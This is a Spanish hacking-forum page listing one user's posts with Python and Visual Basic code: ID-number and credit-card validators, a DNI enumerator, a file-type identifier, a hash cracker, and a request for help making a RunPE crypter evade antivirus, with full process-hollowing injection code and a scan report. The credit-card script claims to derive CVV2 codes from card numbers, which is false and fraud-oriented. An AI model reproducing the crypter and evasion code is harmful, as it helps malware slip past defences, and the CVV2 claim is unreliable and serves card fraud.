Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - khyv123

#1
Seguridad / Re:[Encuesta] Mejor Antivirus
Agosto 31, 2011, 05:50:10 AM
NOD32
#2
Código: php
 Sintaxis: SegSoc.py <codigo>

- <codigo> debe ser un numero de seguridad social de 10 (sin digitos de control) o 12 caracteres.
- En caso de omitir los numeros de control se calcularan automaticamente.

Ejemplos:
        SegSoc.py 281265347455
        SegSoc.py 281265347455
        SegSoc.py 458254827873


Ejemplo de uso:
Código: php
D:\>SegSoc.py 3503265487

El numero de seguridad social 350326548723 es valido (Provincia : Las Palmas).

D:\>SegSoc.py 281265347455

El numero de seguridad social 281265347455 es valido (Provincia : Madrid).

D:\>SegSoc.py 458254827873

El numero de seguridad social 458254827873 es valido (Provincia : Toledo).




Código: python

# ******************************************
#     Autor : khyv123 
#     Fecha de creacion : 23/07/11
#     Creado para : www.underc0de.org
# ******************************************

import sys

def sintaxis():
print '\n Sintaxis: SegSoc.py <codigo>'
print '\n- <codigo> debe ser un numero de seguridad social de 10 (sin digitos de control) o 12 caracteres.'
print '- En caso de omitir los numeros de control se calcularan automaticamente.'
print '\n Ejemplos:'
print '\tSegSoc.py 3503265487'
print '\tSegSoc.py 281265347455'
print '\tSegSoc.py 458254827873'

def comp(num):
return filter(lambda x:ord(x)<48 or ord(x)>57,num)=='' and (len(num)==12 or len(num)==10)

if len(sys.argv)==2 and comp(sys.argv[1])==True:
dic={1:'Alava',2:'Albacete',3:'Alicante',4:'Almeria',5:'Avila',6:'Badajoz',7:'Islas Baleares',8:'Barcelona',9:'Burgos',10:'Caceres',11:'Cadiz',12:'Castellon',13:'Ciudad Real',14:'Cordoba',15:'La Coruna',16:'Cuenca',17:'Girona',18:'Granada',19:'Guadalajara',20:'Guipuzcoa',21:'Huelva',22:'Huesca',23:'Jaen',24:'Leon',25:'Lleida',26:'La Rioja',27:'Lugo',28:'Madrid',29:'Malaga',30:'Murcia',31:'Navarra',32:'Ourense',33:'Asturias',34:'Palencia',35:'Las Palmas',36:'Pontevedra',37:'Salamanca',38:'Santa Cruz de Tenerife',39:'Cantabria',40:'Segovia',41:'Sevilla',42:'Soria',43:'Tarragona',44:'Teruel',45:'Toledo',46:'Valencia',47:'Valladolid',48:'Vizcaya',49:'Zamora',50:'Zaragoza',51:'Ceuta',52:'Melilla'}
num=sys.argv[1]
a=int(num[0:2])
b=int(num[2:10])
prv=dic[a]
cc=((b<10000000) and (b+a*10000000) or int('%d%d'%(a,b)))%97

if len(num)==10:
c=cc
num=num+str(c)
else:
c=int(num[10:12])

if cc==c:
sys.exit('\nEl numero de seguridad social %s es valido (Provincia : %s).'%(num,prv))
else:
sys.exit('\nNumero de suguriad social %s no es valido.'%num)

else:
sintaxis()

#3
Código que verifica tarjetas de credito American Express, VISA, MasterCard y Discover de 16 caracteres y obtiene el código cvv2.

Código: php

Sintaxis: CreditCard.py <codigo>

- <codigo> debe ser un numero de tarjeta de credito de 16 caracteres.
- Tarjetas compatibles : American Express, VISA, MasterCard y Discover.

Ejemplos:
        CreditCard.py 3735270656921892
        CreditCard.py 4759912389050064
        CreditCard.py 5413880183226195


Ejemplo de uso:

Código: php
D:\>CreditCard.py 3735270656921892

Tarjeta American Express valida (cvv2: 7624)

D:\>CreditCard.py 4759912389050064

Tarjeta VISA valida (cvv2: 356)

D:\>CreditCard.py 5413880183226195

Tarjeta MasterCard valida (cvv2: 122)


Código: python

# ******************************************
#     Autor : khyv123 
#     Fecha de creacion : 22/07/11
#     Creado para : www.underc0de.org
# ******************************************

import sys

def sintaxis():
print '\n Sintaxis: CreditCard.py <codigo>'
print '\n - <codigo> debe ser un numero de tarjeta de credito de 16 caracteres.'
print ' - Tarjetas compatibles : American Express, VISA, MasterCard y Discover.'
print '\n Ejemplos:'
print '\tCreditCard.py 3735270656921892'
print '\tCreditCard.py 4759912389050064'
print '\tCreditCard.py 5413880183226195'

def numbers(num):
return filter(lambda x:ord(x)<48 or ord(x)>57,num)=='' and len(num)==16

if len(sys.argv)==2 and numbers(sys.argv[1])==True:

dic={3:'American Express',4:'VISA',5:'MasterCard',6:'Discover'}
code=sys.argv[1]

if int(code[0]) in dic:
tipo=dic[int(code[0])]
sm=reduce(lambda x,y:x+y,map(lambda x:x%2==0 and int(code[x])*2%9 or int(code[x]),range(len(code))))
if sm%10==0 and sm<=150:
if tipo=='American Express':
cvv2=code[5]+code[7]+code[11]+(code[2]!='9' and str(int(code[2])+1) or '1')
else:
cvv2=code[7]+code[11]+(code[2]!='9' and str(int(code[2])+1) or '1')
sys.exit('\n- Tarjeta %s valida (cvv2: %s)' % (tipo,cvv2))

else:
sys.exit('\nTarjeta no valida.')
else:
sys.exit('\nTipo de tarjeta no reconocido.')
else:
sintaxis()



Si alguien quiere más  información sobre el tema puede visitar estos enlaces:

- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Código que muestra los posibles DNI´s (algoritmo de DNI español) que cumplan unas características especificadas:

Código: php
 Sintaxis : DNI_show.py <DNI>

- <DNI> debe tener un formato del tipo NNNNNNNNL ('N':numeros y 'L':letra).
- Los '?' equivalen a los caracteres que se quieren obtener.
- La letra no puede ser 'I','O' o 'U'.

Ejemplos:
        DNI_show.py 32734743? (Averigua la letra de un DNI)
        DNI_show.py 32?34?43K (Averigua las combinaciones validas de DNI)
        DNI_show.py 32?34?43? (Averigua las combinaciones validas de DNI)


Código: python

# ******************************************
#     Autor : khyv123 
#     Fecha de creacion : 21/07/11
#     Creado para : www.underc0de.org
# ******************************************

import sys

def letra_dni(num):
nif='TRWAGMYFPDXBNJZSQVHLCKE'
return nif[num%23]

def sintaxis():
print '\n Sintaxis : DNI_show.py <DNI>'
print '\n - <DNI> debe tener un formato del tipo NNNNNNNNL (\'N\':numeros y \'L\':letra).'
print ' - Los \'?\' equivalen a los caracteres que se quieren obtener.'
print ' - La letra no puede ser \'I\',\'O\' o \'U\'.'
print '\n Ejemplos:'
print '\tDNI_show.py 32734743? (Averigua la letra de un DNI)'
print '\tDNI_show.py 32?34?43K (Averigua las combinaciones validas de DNI)'
print '\tDNI_show.py 32?34?43? (Averigua las combinaciones validas de DNI)'

def validar(dni):
if filter(lambda x:(ord(x)<48 or ord(x)>57)and(ord(x)!=63),dni[0:8])=='' and (ord(dni[8].upper())>=65 or ord(dni[8].upper())<=90) and dni[8].upper()!=('I' or 'O' or 'U'): return True
return False

if len(sys.argv)==2:
if len(sys.argv[1])==9 and sys.argv[1][0:8]!='?'*8 and '?' in list(sys.argv[1]) and validar(sys.argv[1])==True:
num=list(sys.argv[1][0:8])
let=sys.argv[1][8]
ps=[]
for elem in range(8):
if num[elem]=='?': ps.append(elem)
if ps==[] and let=='?':
print ''.join(num)+letra_dni(int(''.join(num)))
elif ps!=[]:
for i in range(int('1'+'0'*len(ps))):
i=str(i)
while not len(i)==len(ps): i='0'+i
for j in range(len(ps)): num[ps[j]]=i[j]
if let=='?':
print ''.join(num)+letra_dni(int(''.join(num)))
elif letra_dni(int(''.join(num)))==let.upper():
print ''.join(num)+letra_dni(int(''.join(num)))
else:
sintaxis()
else:
sintaxis()



Ejemplos de uso:
Código: php
D:\>DNIshow.py 28986427?
28986427X

D:\>DNIshow.py 2?986?27A
23986427A
24986927A
27986127A
28986627A

D:\>DNIshow.py 3298?627?
32980627F
32981627H
32982627Y
32983627V
32984627M
32985627Q
32986627G
32987627S
32988627A
32989627Z
#5
Python / [Python] Identificador de tipos de archivo
Julio 20, 2011, 02:00:52 PM
Este code sirve para identificar el tipo de un archivo en caso de que no se sepa la extensión del mismo). Soporta los siguientes tipos:

- Archivos de imagen: 'rgb', 'gif', 'pbm', 'pgm', 'ppm', 'tiff', 'rast', 'xbm', 'jpeg', 'bmp' y 'png'.
- Archivos de audio: 'aifc', 'aiff', 'au', 'hcom', 'sndr', 'sndt', 'voc', 'wav', '8svx', 'sb', 'ub' y 'ul'.
- Archivos comprimidos: 'zip' y 'tar'.
- Archivos de texto plano

Código: python

# ******************************************
#     Autor : khyv123 
#     Fecha de creacion : 20/07/11
#     Creado para : www.underc0de.org
# ******************************************

import imghdr,sndhdr
from zipfile import is_zipfile
from tarfile import is_tarfile
from sys import argv,exit
from os import path,rename

def options():
print '\nSintaxis: fileID.py -f (nombre_archivo) [-c]'
print '\n\t-f archivo\t\tArchivo a comprobar.'
print '\t-c\t\t\tCambiar extensiones reconocidas.'

if len(argv)>=2:

des=ext=file=''
ch_ext = False

for opt in argv[1:]:
if opt.lower()=='-f':
file=argv[int(argv[1:].index(opt))+2]
elif opt.lower()=='-c':
ch_ext= True

if file=='':
exit('\nArchivo no especificado.')
elif not path.exists(file):
exit('\nArchivo no encontrado.')

if imghdr.what(file)!=None:
ext=imghdr.what(file)
des=imghdr.what(file)+' (Archivo de imagen)'
elif sndhdr.what(file)!=None:
ext=sndhdr.what(file)[0]
des=sndhdr.what(file)[0]+' (Archivo de audio)'
elif is_zipfile(file)=='True':
ext='zip'
des='zip'+' (Archivo comprimido)'
elif is_tarfile(file)=='True':
ext='tar'
des='tar'+' (Archivo comprimido)'
else:
data = open(file,'r').read(512)
char=map(chr,range(32,127))+list('\n\t\r\x08')
if data!='':
if [elem for elem in data if not elem in char]==[]: des='Archivo de texto plano.'
else:
des='Archivo vacio.'


if des!='':
if ch_ext==True and ext!='':
if file.count('.')!=0:
rename(file,file[0:file.find('.')+1]+ext)
else:
rename(file,file+'.'+ext)
exit('\n ' + des)
else:
exit('\nTipo de archivo no reconocido.')
else:
options()




Ejemplo de uso:
Código: php

>> D:\> fileID.py -f (nombre_archivo) [-c]
jpg (Archivo de imagen)


-f -> Archivo a comprobar.
-c -> Cambiar extensiones reconocidas.
#6
Python / [Python] Hasher v1.0 (Crackeador de hashes)
Julio 19, 2011, 01:37:38 PM
Aqui os dejo un code en python crackeador de hashes hecho por mi compatible con hashes md5, sha1, sha224, sha256, sha384 y sha512 y posibilidad de crackeo por dicionario o por fuerza bruta:

Código: python

# ******************************************
#     Hasher v1.0:
#     Autor : khyv123 
#     Fecha de creacion : 18/07/11
#     Creado para : www.underc0de.org
# ******************************************

import hashlib,sys
from os import path

def main():
print '\n *********************************'
print ' *  Hasher v1.0  --  by khyv123  *'
print ' *********************************'

def options():
print '\nArgumentos disponibles:\n'
print '\t-h hash\t\tHash a crackear'
print '\t-t tipo\t\tTipo de hash (md5,sha1,sha224,sha256,sha384,sha512)'
print '\t-v\t\tModo verbose'
print '\n\nTipos de ataque:\n'
print '\t-f\t\tFuerza bruta'
print '\t-d dic.txt\tAtaque por dicionario'
print '\n\nCaracteres utilizados:\n'
print '\t-m\t\tLetras minusculas (a-z)'
print '\t-M\t\tLetras mayusculas (A-Z)'
print '\t-n\t\tNumeros (0-9)'
print '\t-p caracteres\tCaracteres defindos por el usuario'

def eleva(base,ex):
if ex <= 0:return 1
return base * eleva(base,ex-1)


def comb(caracteres,num_car,num_comb):
res=''
for i in range(num_car-1,-1,-1):
if num_comb==0:
while len(res)!=num_car: res=res+caracteres[0]
return res
for j in range(len(caracteres)-1,-1,-1):
if (eleva(len(caracteres),i)*j)<=num_comb:
res=res+caracteres[j]
num_comb=num_comb-(eleva(len(caracteres),i)*j)
break
return res

def muestra_datos():
print '\n*******************************************************************'
print '  Hash : '+hash
print '  Encriptacion : '+enc
if tda=='fuerza_bruta':
print '  Caracteres maximos : '+str(high)
print '  Caracteres minimos : '+str(low)
print '  Caracteres utilizados : '+char
elif tda=='dicionario':
print '  Archivo de hashes : '+file
print '*******************************************************************\n'


verbose=high=low=0
hash=enc=char=tda=file=''

if len(sys.argv)==1:
main()
options()
sys.exit(1)

for opt in sys.argv[1:]:
if opt=='-v':
verbose=1
if opt=='-f':
tda='fuerza_bruta'
if opt=='-d':
tda='dicionario'
file=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-h':
hash=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-t':
enc=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-c':
char=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-a':
high=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-i':
low=sys.argv[int(sys.argv[1:].index(opt))+2]
elif opt=='-m':
char=char+'abcdefghijklmnopqrstuvwxyz'
elif opt=='-M':
char=char+'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
elif opt=='-n':
char=char+'0123456789'
elif opt=='-p':
char=char+sys.argv[int(sys.argv[1:].index(opt))+2]

if hash=='':
sys.exit('\nERROR : Hash no especificado (-h)')

if enc=='':
if len(hash)==32: enc='md5'
elif len(hash)==40: enc='sha1'
elif len(hash)==56: enc='sha224'
elif len(hash)==64: enc='sha256'
elif len(hash)==96: enc=='sha384'
elif len(hash)==128: enc='sha512'

if tda=='':
sys.exit('\nERROR : Tipo de ataque no especificado (-f/-d)')
elif tda=='fuerza_bruta':
if char=='': char='abcdefghijklmnopqrstuvwxyz0123456789'
if high==0: high=8
if low==0: low=3
elif tda=='dicionario':
if file=='':
sys.exit('\nERROR : Archivo de hashes no especificado (-d)')
elif not path.exists(file):
sys.exit('\nERROR : El archivo selecionado no existe')

muestra_datos()

if tda=='fuerza_bruta':
for i in range(low,high):
for j in range(eleva(len(char),i)):
if enc=='md5':
bfhash=hashlib.md5(comb(char,i,j))
elif enc=='sha1':
bfhash=hashlib.sha1(comb(char,i,j))
elif enc=='sha224':
bfhash=hashlib.sha224(comb(char,i,j))
elif enc=='sha256':
bfhash=hashlib.sha256(comb(char,i,j))
elif enc=='sha384':
bfhash=hashlib.sha384(comb(char,i,j))
elif enc=='sha512':
bfhash=hashlib.sha512(comb(char,i,j))
else:
sys.exit('ERROR : El tipo de hash especificado no es valido.')
if verbose==1:
print comb(char,i,j)+' -> '+bfhash.hexdigest()
if bfhash.hexdigest()==hash:
print 'Hash crackeado: '+comb(char,i,j)
sys.exit(1)
elif tda=='dicionario':
dic=open(file,'r')
for line in dic.xreadlines():
if line.count(':::'):
line=line.replace('\n','')
line=line.split(':::')
if line[1]==hash:
print 'Hash encontrado: '+line[0]
sys.exit(1)
if verbose==1:
print line[0]+' -> '+line[1]
dic.close()

else:
main()
options()




PD : link de descarga con el programa más un dicionario de hashes md5 compatible: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
He intentado hacer un programa que consta de dos partes (que consta de cliente y servidor) en el que el cliente le manda el contenido de un archivo pdf y el servidor lo recibe y lo guarda en el disco D:, el problema es que al guardarlo el archivo tiene bastante menos extensión que el original y no se puede leer.

El programa es el siguiente (de momento solo tiene lo básico):

CLIENTE:
Código: php
Private Sub cmdEnviar_Click()
Dim var As String
Open Text1.Text For Binary As #1
var = Space(LOF(1))
Get #1, , var
Close #1
If Winsock1.State = 7 Then Winsock1.SendData var
End Sub

Private Sub Form_Load()
Winsock1.RemoteHost = "127.0.0.1"
Winsock1.RemotePort = 123
Winsock1.Connect
End Sub


SERVIDOR:
Código: php
Private Sub Form_Load()
Winsock1.LocalPort = 123
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim i As Integer
Dim var As String
i = bytesTotal
Winsock1.GetData var, vbString
Open "d:\name.pdf" For Binary As #2
Put #2, , var
Close #2
End Sub


Alguien sabe en que puede estar fallando???   ???
#8
Hace poco he creado un crypter siguiendo un manual y con el he encriptado en archivo bat (compilado con "Bat to exe Converter") que lo único que hace es abrir unos cuantos cmd pero al pasarlo por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta me dice que el archivo encriptado es detectado por 15/37 antivirus (además el bat original solo era detectado por 5) porque detecta el RunPe. Alquien sabe alguna manera de que el RunPe no sea detectado??

Por si vale de algo el código del RunPE es este:
Código: vb
Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function

Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub


Y el resultado de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:
Código: php
VirSCAN.org Scanned Report :
Scanned time   : 2011/06/14 17:30:41 (CEST)
Scanner results: 41% Escaner (15/37) encontró infección
File Name      : str(cr).exe
File Size      : 47131 byte
File Type      : PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5            : cadadc6cf40fdbac46b902a13b76a17f
SHA1           : 61abf21daabfebf9b245df52b09b052dfc63a509
Online report  : http://file.virscan.org/report/3f76534a6d14949fad4e74e4c4554486.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      5.1.0.2         20110614201048    2011-06-14  40.09  -
AhnLab V3      2011.06.14.00   2011.06.14        2011-06-14  28.54  -
AntiVir        8.2.5.14        7.11.9.189        2011-06-14  0.40   BAT/Flood.C
Antiy          2.0.18          20110205.7694535  2011-02-05  0.03   -
Arcavir        2011            201105080215      2011-05-08  0.08   -
Authentium     5.1.1           201106140732      2011-06-14  1.83   W32/VBTrojan.7!Maximus (Heuristic)
AVAST!         4.7.4           110614-0          2011-06-14  0.32   Win32:VB-KQB [Drp]
AVG            8.5.850         271.1.1/3703      2011-06-14  0.51   Dropper.Generic.BARQ
BitDefender    7.90123.7406640 7.37559           2011-05-24  0.00   -
ClamAV         0.96.5          13187             2011-06-14  0.03   -
Comodo         4.0             9065              2011-06-14  1.41   -
CP Secure      1.3.0.5         2011.06.13        2011-06-13  0.05   -
Dr.Web         5.0.2.3300      2011.06.14        2011-06-14  12.67  Trojan.Rent.35
F-Prot         4.4.4.56        20110614          2011-06-14  1.42   Possible W32/VBTrojan.7!Maximus
F-Secure       7.02.73807      2011.06.14.04     2011-06-14  0.10   Packed:W32/Vbcrypt.N [FSE]
Fortinet       4.2.257         13.325            2011-06-14  0.68   W32/Refroso.IGN!tr
GData          22.621/22.162   20110614          2011-06-14  22.64  -
ViRobot        20110614        2011.06.14        2011-06-14  1.81   -
Ikarus         T3.1.32.20.0    2011.06.14.78594  2011-06-14  4.51   Virus.Win32.VBInject
JiangMin       13.0.900        2011.06.14        2011-06-14  1.69   -
Kaspersky      5.5.10          2011.06.14        2011-06-14  0.19   -
KingSoft       2009.2.5.15     2011.6.14.18      2011-06-14  1.54   -
McAfee         5400.1158       6376              2011-06-13  10.00  Generic Dropper.gu
Microsoft      1.6903          2011.06.14        2011-06-14  22.61  -
NOD32          3.0.21          6207              2011-06-14  0.02   a variant of Win32/Injector.BHF trojan
Norman         6.07.10         6.07.00           2011-06-14  18.02  -
Panda          9.05.01         2011.06.13        2011-06-13  16.82  -
Trend Micro    9.200-1012      8.224.10          2011-06-14  0.04   Mal_BUZUS-6
Quick Heal     11.00           2011.06.14        2011-06-14  22.13  -
Rising         20.0            23.62.01.03       2011-06-14  3.08   -
Sophos         3.20.2          4.66              2011-06-14  3.60   Mal/Behav-211
Sunbelt        3.9.2494.2      9579              2011-06-14  1.02   Virtool.Win32.VBInject.gen (v)
Symantec       1.3.0.24        20110613.005      2011-06-13  0.06   -
nProtect       20110601.01     3460661           2011-06-01  22.61  -
The Hacker     6.7.0.1         v00176            2011-04-18  0.51   -
VBA32          3.12.16.1       20110613.2036     2011-06-13  4.61   Malware-Cryptor.VB.gen.1
VirusBuster    5.3.0.4         14.0.78.0/5381065 2011-06-13  0.00   -